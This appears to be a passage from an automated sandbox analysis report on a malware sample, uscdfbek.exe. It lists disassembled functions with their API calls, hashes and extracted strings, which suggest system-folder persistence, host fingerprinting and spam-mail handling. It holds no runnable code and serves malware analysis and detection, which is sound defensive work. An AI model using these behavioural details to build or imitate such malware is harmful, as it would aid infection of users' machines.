WaitForSingleObject.KERNEL32(?,?), ref: 026141C6
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 026141D9

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 6ee90ddb55d8bf4d15105e189d5e7195892d33c589788df7612848ef858e4411
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: DF01297651110AABDF02DF95ED85BEE3B6CEB18355F004061F901F2150DB70AA518BB5

Function 026141F3 Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 0261421F
GetLastError.KERNEL32 ref: 02614229
WaitForSingleObject.KERNEL32(?,?), ref: 0261423A
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0261424D

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: c1864e4951c703adcdb6eeb943d700fe9dee77e41982586954dd6e1d7b183bb1
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: 3C01A572511109ABDF01DF90ED84BEE7BACEB08355F148461F901E2150DB70AA948BB6

Function 00403F18 Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Function 00403F8C Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Function 0261E036 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 0261E066

Strings

A, xrefs: 0261E07F
A, xrefs: 0261E037, 0261E03C
A, xrefs: 0261E036

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: 9f9cd7b7188349a4ec7f47406cdf91a24f8a037ab8b45575a5ea5e454d969877
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: E6F09632600742DBCB30CF25D884A82B7E9FF05326B48862BE954C3260D375F4E8CB51

Function 0040A4C7 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Function 00404E92 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Function 00404BD1 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Function 004030FA Relevance: 6.0, APIs: 4, Instructions: 23sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Function 02618330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 026183C6
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 02618477

Part of subcall function 026169C3: SetFileAttributesA.KERNEL32(?,00000080), ref: 026169E5
Part of subcall function 026169C3: SetFileAttributesA.KERNEL32(?,00000002), ref: 02616A26
Part of subcall function 026169C3: GetFileSize.KERNEL32(000000FF,00000000), ref: 02616A3A

Part of subcall function 0261EE95: GetProcessHeap.KERNEL32(00000000,?,00000000,02611DCF,?), ref: 0261EEA8
Part of subcall function 0261EE95: HeapFree.KERNEL32(00000000), ref: 0261EEAF

Strings

C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 0261848C, 026184A1

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe
API String ID: 359188348-2411205763
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: d0312ea22b43ca6d0f64d5cf53bbab9cfb60ec253943d7da28b916942b031b46
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: DC4175B2900159BFEB10EBA09D81EFF777DEB04344F18446AE904D7110FBB16A548B54

Function 0261AFF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0261AFFF
SystemTimeToFileTime.KERNEL32(?,?), ref: 0261B00D

Part of subcall function 0261AF6F: gethostname.WS2_32(?,00000080), ref: 0261AF83
Part of subcall function 0261AF6F: lstrcpy.KERNEL32(?,00410B90), ref: 0261AFE6

Part of subcall function 0261331C: gethostname.WS2_32(?,00000080), ref: 0261333F
Part of subcall function 0261331C: gethostbyname.WS2_32(?), ref: 02613349

Part of subcall function 0261AA0A: inet_ntoa.WS2_32(00000000), ref: 0261AA10

Strings

%OUTLOOK_BND_, xrefs: 0261B076, 0261B07B, 0261B0BE, 0261B0DD

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: 2c55fce878c3543941cf21b0e74a3b32e18ea838921b649f483db7f156ac32d7
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 47412F7290034CABDB25EFA0DC45EEE3BADFF08304F18442AF92992151EA75E654CF58

Function 02619452 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 02619536
Sleep.KERNEL32(000001F4), ref: 0261955D

Strings

, xrefs: 026194D9

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 441ad30f2646d1b8623b46c1d7e45f404d08a6258c9d37c2b51fbe89c32dcb37
Instruction ID: e46d03455dce8af61e0cada6633579497bc06da0700ee18db5c627b7ca840db0
Opcode Fuzzy Hash: 441ad30f2646d1b8623b46c1d7e45f404d08a6258c9d37c2b51fbe89c32dcb37
Instruction Fuzzy Hash: C44116718093846FFB368B68D8AD7B63FE49B02318F1C41A5D482A72A2D7B46981C711

Function 00406987 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNEL32(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Function 0261BC7A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0261B9D9
InterlockedIncrement.KERNEL32(00413648), ref: 0261BA3A
InterlockedIncrement.KERNEL32(?), ref: 0261BA94
GetTickCount.KERNEL32 ref: 0261BB79
GetTickCount.KERNEL32 ref: 0261BB99
InterlockedIncrement.KERNEL32(?), ref: 0261BE15
closesocket.WS2_32(00000000), ref: 0261BEB4

Strings

%FROM_EMAIL, xrefs: 0261BC7D

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: a0d8aafca14de9d2815d699dc372a146b6513ebc39b0f0ad8a632fce1ab55050
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: 0031B171900248DFDF25DFA4DC84BEDB7B9EB48704F28405AFA24821A0DB71EA85CF54

Function 00408CEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Function 0040BFCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Function 004038F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Function 0261709D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 026170BC
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 026170F4

Strings

|, xrefs: 026170E6

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: c934aac9c002d020108046fbac3637c024ecac5409e9adfc9b79e1ae78a6dee6
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 43111E7290411CEBDF12CFE4DC85ADEF7BDAB09715F2841A6E501E6194D770AB88CBA0

Function 00401B71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Function 0040AB81 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44stringCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Function 004026B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Function 00402684 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000001), ref: 00402693
gethostbyname.WS2_32(00000001), ref: 0040269F

Strings

time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg
API String ID: 1594361348-2401304539
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Function 0040EAE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,7508EA50,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Function 02613189 Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02612F88: GetModuleHandleA.KERNEL32(?), ref: 02612FA1
Part of subcall function 02612F88: LoadLibraryA.KERNEL32(?), ref: 02612FB1

GetProcessHeap.KERNEL32(00000000,00000000), ref: 026131DA
HeapFree.KERNEL32(00000000), ref: 026131E1

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: 748d1f5a32de7caa2923327edfa77ad575e5d8efb0e77a5819cdfd431022425a
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: E5519D7190028AAFCB059F64D884AEAB775FF05305F1841A9EC96C7310E732EA69CB94

Function 00402F22 Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,759223A0,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
